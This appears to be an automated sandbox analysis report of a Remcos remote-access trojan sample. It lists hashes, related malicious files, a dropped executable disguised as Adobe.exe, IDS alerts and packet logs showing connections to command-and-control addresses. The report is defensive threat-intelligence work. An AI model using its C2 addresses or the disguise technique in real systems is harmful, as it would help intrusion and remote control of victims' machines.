                                                                                                                            1729014968354a73a6dcba5a43f0dc2c4d615a55b43a024f5a7b8361ffa956895f39b62184812.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            KULI500796821_PO20000003.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            na.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            Untitled_15-10-04.xlsGet hashmaliciousRemcosBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            Image_Attachments.xlsGet hashmaliciousRemcosBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            rComandaKOMARONTRADESRL435635Lukketid.batGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            remcos.exeGet hashmaliciousRemcosBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            Accounts.exeGet hashmaliciousDBatLoader, RemcosBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            na.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                                                                            • 178.237.33.50

                                                                                                                            ASNs

                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                            M247GBrWWTLCLtoUSADCL.scr.exeGet hashmaliciousXWormBrowse
                                                                                                                            • 104.250.180.178
                                                                                                                            rComandaKOMARONTRADESRL435635Lukketid.batGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                            • 185.236.203.100
                                                                                                                            FedEx_AWB#7805323204.exeGet hashmaliciousRemcosBrowse
                                                                                                                            • 45.133.116.119
                                                                                                                            https://crazy-moments.comGet hashmaliciousUnknownBrowse
                                                                                                                            • 91.202.233.164
                                                                                                                            na.elfGet hashmaliciousMiraiBrowse
                                                                                                                            • 92.249.48.64
                                                                                                                            na.elfGet hashmaliciousMiraiBrowse
                                                                                                                            • 92.249.48.64
                                                                                                                            na.elfGet hashmaliciousMiraiBrowse
                                                                                                                            • 92.249.48.64
                                                                                                                            na.elfGet hashmaliciousMiraiBrowse
                                                                                                                            • 92.249.48.64
                                                                                                                            na.elfGet hashmaliciousMiraiBrowse
                                                                                                                            • 92.249.48.64
                                                                                                                            na.elfGet hashmaliciousMiraiBrowse
                                                                                                                            • 92.249.48.64
                                                                                                                            ATOM86-ASATOM86NL1729022872b8fae641a98b236571422197a34480f404f44291e36642b114aee58fc24f5bb1699.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            1729014968354a73a6dcba5a43f0dc2c4d615a55b43a024f5a7b8361ffa956895f39b62184812.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            KULI500796821_PO20000003.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            na.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            Untitled_15-10-04.xlsGet hashmaliciousRemcosBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            Image_Attachments.xlsGet hashmaliciousRemcosBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            rComandaKOMARONTRADESRL435635Lukketid.batGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            remcos.exeGet hashmaliciousRemcosBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            Accounts.exeGet hashmaliciousDBatLoader, RemcosBrowse
                                                                                                                            • 178.237.33.50
                                                                                                                            na.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                                                                            • 178.237.33.50

                                                                                                                            JA3 Fingerprints

                                                                                                                            ⊘No context

                                                                                                                            Dropped Files

                                                                                                                            ⊘No context

                                                                                                                            Created / dropped Files

                                                                                                                            C:\ProgramData\Adobe\Adobe.exe

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\rSOD219ISF-____.scr.exe
                                                                                                                            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):940032
                                                                                                                            Entropy (8bit):7.882482238123695
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:24576:gRne6cHoCTTWJM8ipw1x6a/agcW8QhGM31u74Pw:gRne6cINh1XCgcW8ulw
                                                                                                                            MD5:C50245598F59F8EF84262DD0D82D6E53
                                                                                                                            SHA1:7DA1807F04997B506E0AE563E2064EBC050095AF
                                                                                                                            SHA-256:7A9E36961AB5B2AB759EC2196D40618B1F43C5A04C40C01B31CFB4EA1ADFC347
                                                                                                                            SHA-512:E34997748B88C9A28FF3CC16E04D1B12BB5ED9EEBDE0666D5FDCBBD0D2E8B0C98931D23B84875F05140A67F7160E182BD57D85608EF8E56EEAC1104BF8840756
                                                                                                                            Malicious:true
                                                                                                                            Antivirus:
                                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                            • Antivirus: ReversingLabs, Detection: 26%
                                                                                                                            Reputation:low
                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X$.g..............0..<..........vZ... ...`....@.. ....................................@.................................$Z..O....`..(............................................................................ ............... ..H............text....:... ...<.................. ..`.rsrc...(....`.......>..............@..@.reloc...............V..............@..B................XZ......H.......Hu...`......(...D.................................................{....*..{....*V.( .....}......}....*...0..C........u........6.,0(!....{.....{....o"...,.(#....{.....{....o$...+..+..*. .[\. )UU.Z(!....{....o%...X )UU.Z(#....{....o&...X*.0..b........r...p......%..{.......%q.........-.&.+.......o'....%..{.......%q.........-.&.+.......o'....((...*..{)...*..{*...*V.( .....}).....}*...*.0..C........u........6.,0(!....{)....{)...o"...,.(#....{*....{*...o$...+..+..*. (.=. )U

                                                                                                                            C:\ProgramData\Adobe\Adobe.exe:Zone.Identifier

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\rSOD219ISF-____.scr.exe
                                                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                                                            Category:modified
                                                                                                                            Size (bytes):26
                                                                                                                            Entropy (8bit):3.95006375643621
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:3:ggPYV:rPYV
                                                                                                                            MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                            SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                            SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                            SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                            Malicious:true
                                                                                                                            Reputation:high, very likely benign file
                                                                                                                            Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Adobe.exe.log

                                                                                                                            Download File
                                                                                                                            Process:C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):1506
                                                                                                                            Entropy (8bit):5.354907256054077
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:24:MLUE4K5E4KH1qE4XE4KnKDE4KhKiKhPKIE4oKNzKoZAE4KzeUE4KMRSE4x84j:MIHK5HKH1qHXHKnYHKh3oPtHo6hAHKz+
                                                                                                                            MD5:3B0DCCA7437EE4A18285BC0E1E6820A5
                                                                                                                            SHA1:612D1CDBB4133A546DA61CAA1F54C3368912905E
                                                                                                                            SHA-256:CC1F6DABF5200875C241AF1890C8F2B54373CFC7BAFB5A48FD2841E4ABFE8BA1
                                                                                                                            SHA-512:1A0CC564FDC650EF6965EC77999EA578CCD45C19972080C1B789EEB61A46A4452B37F8557E394C2A4C9D66AB8A4742E855B8804CDD44FDFB52C6173399CA6B0E
                                                                                                                            Malicious:false
                                                                                                                            Reputation:low
                                                                                                                            Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Data.Linq, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c5619

                                                                                                                            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rSOD219ISF-____.scr.exe.log

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\rSOD219ISF-____.scr.exe
                                                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):1506
                                                                                                                            Entropy (8bit):5.354907256054077
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:24:MLUE4K5E4KH1qE4XE4KnKDE4KhKiKhPKIE4oKNzKoZAE4KzeUE4KMRSE4x84j:MIHK5HKH1qHXHKnYHKh3oPtHo6hAHKz+
                                                                                                                            MD5:3B0DCCA7437EE4A18285BC0E1E6820A5
                                                                                                                            SHA1:612D1CDBB4133A546DA61CAA1F54C3368912905E
                                                                                                                            SHA-256:CC1F6DABF5200875C241AF1890C8F2B54373CFC7BAFB5A48FD2841E4ABFE8BA1
                                                                                                                            SHA-512:1A0CC564FDC650EF6965EC77999EA578CCD45C19972080C1B789EEB61A46A4452B37F8557E394C2A4C9D66AB8A4742E855B8804CDD44FDFB52C6173399CA6B0E
                                                                                                                            Malicious:true
                                                                                                                            Reputation:low
                                                                                                                            Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Data.Linq, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c5619

                                                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\json[1].json

                                                                                                                            Download File
                                                                                                                            Process:C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            File Type:JSON data
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):956
                                                                                                                            Entropy (8bit):5.016616617248742
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:12:tkTLJend6UGkMyGWKyGXPVGArwY3AoQasHuGvB+Arpv/mOAaNO+ao9W7iN5zzkwV:qpSdVauKyGX85MEBZvXhNlT3/7l1DYro
                                                                                                                            MD5:9220BE8AB34657C7535C5A2582857DC7
                                                                                                                            SHA1:2BE54CB6D990A4F9C6D6AE30A618EAB88F181634
                                                                                                                            SHA-256:0E97AB60A1FF8EECB241E186B7C690D4900E2922FBAE2125DA469EADEAAFD1F0
                                                                                                                            SHA-512:23D31D1370AE2F5663F5957BA204BC16EA15E0B7F37669D55E3BB14B594FAAAA782E52926CED9E5D87E915910DF48945D57B7CC04CF44C3C7CE095EFB4D3BE01
                                                                                                                            Malicious:false
                                                                                                                            Preview:{. "geoplugin_request":"155.94.241.186",. "geoplugin_status":200,. "geoplugin_delay":"2ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"Dallas",. "geoplugin_region":"Texas",. "geoplugin_regionCode":"TX",. "geoplugin_regionName":"Texas",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"623",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"32.8137",. "geoplugin_longitude":"-96.8704",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/Chicago",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

                                                                                                                            C:\Users\user\AppData\Local\Temp\bhv96DB.tmp

                                                                                                                            Download File
                                                                                                                            Process:C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            File Type:Extensible storage engine DataBase, version 0x620, checksum 0xb9cde1ef, page size 32768, DirtyShutdown, Windows version 10.0
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):20447232
                                                                                                                            Entropy (8bit):1.2827232622352809
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:12288:+p0e+Mk76KAOfvUDL27+S25cF5FAHdO9uF:DML3Do+
                                                                                                                            MD5:2F211AB5BE610B687DD8529C72613A29
                                                                                                                            SHA1:0838B818CFA5C74A4528534BA2CB68D320305535
                                                                                                                            SHA-256:05DFA78E60DB5351CDB5BE162E0BACFF3F6B91D075E5BB0F88B8076D9C7CF4AB
                                                                                                                            SHA-512:0812C0C299B4C7F1EC2E87E358B458C6CB48D5F2F647ABFCD6BDA8B82C983C5C60D8F0246C5F6F8BD68D5EFECE3EE5D714CA3ED59E2DDE250EAC401B5D1CF5B3
                                                                                                                            Malicious:false
                                                                                                                            Preview:....... ........=......J}...0...{........................"..........{.......{/.h.$..........................3.s.0...{..............................................................................................c...........eJ......n........................................................................................................... ............{...................................................................................................................................................................................................{;....................................h.....{/....................$.....{/..........................#......h.$.....................................................................................................................................................................................................................................................................................................................................................

                                                                                                                            C:\Users\user\AppData\Local\Temp\trjggazotdeaznpdaliydbqndn

                                                                                                                            Download File
                                                                                                                            Process:C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            File Type:Unicode text, UTF-16, little-endian text, with no line terminators
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):2
                                                                                                                            Entropy (8bit):1.0
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:3:Qn:Qn
                                                                                                                            MD5:F3B25701FE362EC84616A93A45CE9998
                                                                                                                            SHA1:D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
                                                                                                                            SHA-256:B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
                                                                                                                            SHA-512:98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
                                                                                                                            Malicious:false
                                                                                                                            Preview:..

                                                                                                                            Static File Info

                                                                                                                            General

                                                                                                                            File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                            Entropy (8bit):7.882482238123695
                                                                                                                            TrID:
                                                                                                                            • Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                                                                                                                            • Win32 Executable (generic) a (10002005/4) 49.78%
                                                                                                                            • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                                                                            • Generic Win/DOS Executable (2004/3) 0.01%
                                                                                                                            • DOS Executable Generic (2002/1) 0.01%
                                                                                                                            File name:rSOD219ISF-____.scr.exe
                                                                                                                            File size:940'032 bytes
                                                                                                                            MD5:c50245598f59f8ef84262dd0d82d6e53
                                                                                                                            SHA1:7da1807f04997b506e0ae563e2064ebc050095af
                                                                                                                            SHA256:7a9e36961ab5b2ab759ec2196d40618b1f43c5a04c40c01b31cfb4ea1adfc347
                                                                                                                            SHA512:e34997748b88c9a28ff3cc16e04d1b12bb5ed9eebde0666d5fdcbbd0d2e8b0c98931d23b84875f05140a67f7160e182bd57d85608ef8e56eeac1104bf8840756
                                                                                                                            SSDEEP:24576:gRne6cHoCTTWJM8ipw1x6a/agcW8QhGM31u74Pw:gRne6cINh1XCgcW8ulw
                                                                                                                            TLSH:041512F21395CA16D2ED87B51530D7738378EE9FB021E3128EEA4DFB396178458A02D6
                                                                                                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X$.g..............0..<..........vZ... ...`....@.. ....................................@................................

                                                                                                                            File Icon

                                                                                                                            Icon Hash:d4d5c869fdc4c4b9

                                                                                                                            Static PE Info

                                                                                                                            General

                                                                                                                            Entrypoint:0x4e5a76
                                                                                                                            Entrypoint Section:.text
                                                                                                                            Digitally signed:false
                                                                                                                            Imagebase:0x400000
                                                                                                                            Subsystem:windows gui
                                                                                                                            Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                                            DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                                            Time Stamp:0x670F2458 [Wed Oct 16 02:26:32 2024 UTC]
                                                                                                                            TLS Callbacks:
                                                                                                                            CLR (.Net) Version:
                                                                                                                            OS Version Major:4
                                                                                                                            OS Version Minor:0
                                                                                                                            File Version Major:4
                                                                                                                            File Version Minor:0
                                                                                                                            Subsystem Version Major:4
                                                                                                                            Subsystem Version Minor:0
                                                                                                                            Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                                                                            Entrypoint Preview

                                                                                                                            Instruction
                                                                                                                            jmp dword ptr [00402000h]
                                                                                                                            inc ebx
                                                                                                                            add byte ptr [edx+00h], dh
                                                                                                                            jne 00007F3AC91008E2h
                                                                                                                            add byte ptr fs:[ecx+00h], al
                                                                                                                            jo 00007F3AC91008E2h
                                                                                                                            jo 00007F3AC91008E2h
                                                                                                                            insb
                                                                                                                            add byte ptr [ecx+00h], ch
                                                                                                                            arpl word ptr [eax], ax
                                                                                                                            popad
                                                                                                                            add byte ptr [eax+eax+69h], dh
                                                                                                                            add byte ptr [edi+00h], ch
                                                                                                                            outsb
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al
                                                                                                                            add byte ptr [eax], al

                                                                                                                            Data Directories

                                                                                                                            NameVirtual AddressVirtual Size Is in Section
                                                                                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0xe5a240x4f.text
                                                                                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0xe60000x1628.rsrc
                                                                                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0xe80000xc.reloc
                                                                                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                            Sections

                                                                                                                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                            .text0x20000xe3a9c0xe3c001a8da37e08c1e3dc1494f2ae204cf40eFalse0.9345306496981339data7.889422160436118IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                            .rsrc0xe60000x16280x1800c311018d153f021d74a41574026b6709False0.7054036458333334data6.705151623966733IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                            .reloc0xe80000xc0x20059b9d44463c570cf88a3580f2bd49604False0.044921875data0.10191042566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                            Resources

                                                                                                                            NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                            RT_ICON0xe60c80x120cPNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced0.841991341991342
                                                                                                                            RT_GROUP_ICON0xe72e40x14data1.05
                                                                                                                            RT_VERSION0xe73080x31cdata0.4271356783919598

                                                                                                                            Imports

                                                                                                                            DLLImport
                                                                                                                            mscoree.dll_CorExeMain

                                                                                                                            Network Behavior

                                                                                                                            Suricata IDS Alerts

                                                                                                                            TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                            2024-10-16T05:32:08.209897+02002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.449733104.250.180.1787902TCP
                                                                                                                            2024-10-16T05:32:10.407621+02002803304ETPRO MALWARE Common Downloader Header Pattern HCa3192.168.2.449737178.237.33.5080TCP
                                                                                                                            2024-10-16T05:32:10.928633+02002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.449736104.250.180.1787902TCP

                                                                                                                            Network Port Distribution

                                                                                                                            TCP Packets

                                                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                                                            Oct 16, 2024 05:32:06.532562971 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:06.537540913 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:06.537631035 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:06.543271065 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:06.548125029 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:08.154974937 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:08.209897041 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:08.480401039 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:08.484360933 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:08.489212036 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:08.489275932 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:08.494115114 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:09.155087948 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:09.156193972 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:09.161003113 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:09.487675905 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:09.490223885 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:09.495054007 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:09.495417118 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:09.499408007 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:09.504633904 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:09.537996054 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:09.546078920 CEST4973780192.168.2.4178.237.33.50
                                                                                                                            Oct 16, 2024 05:32:09.551098108 CEST8049737178.237.33.50192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:09.551170111 CEST4973780192.168.2.4178.237.33.50
                                                                                                                            Oct 16, 2024 05:32:09.551311970 CEST4973780192.168.2.4178.237.33.50
                                                                                                                            Oct 16, 2024 05:32:09.556152105 CEST8049737178.237.33.50192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:10.404460907 CEST8049737178.237.33.50192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:10.407620907 CEST4973780192.168.2.4178.237.33.50
                                                                                                                            Oct 16, 2024 05:32:10.623059034 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:10.628032923 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:10.875361919 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:10.928632975 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:11.275352955 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.280466080 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:11.285371065 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.285497904 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:11.290446043 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.527120113 CEST8049737178.237.33.50192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.527190924 CEST4973780192.168.2.4178.237.33.50
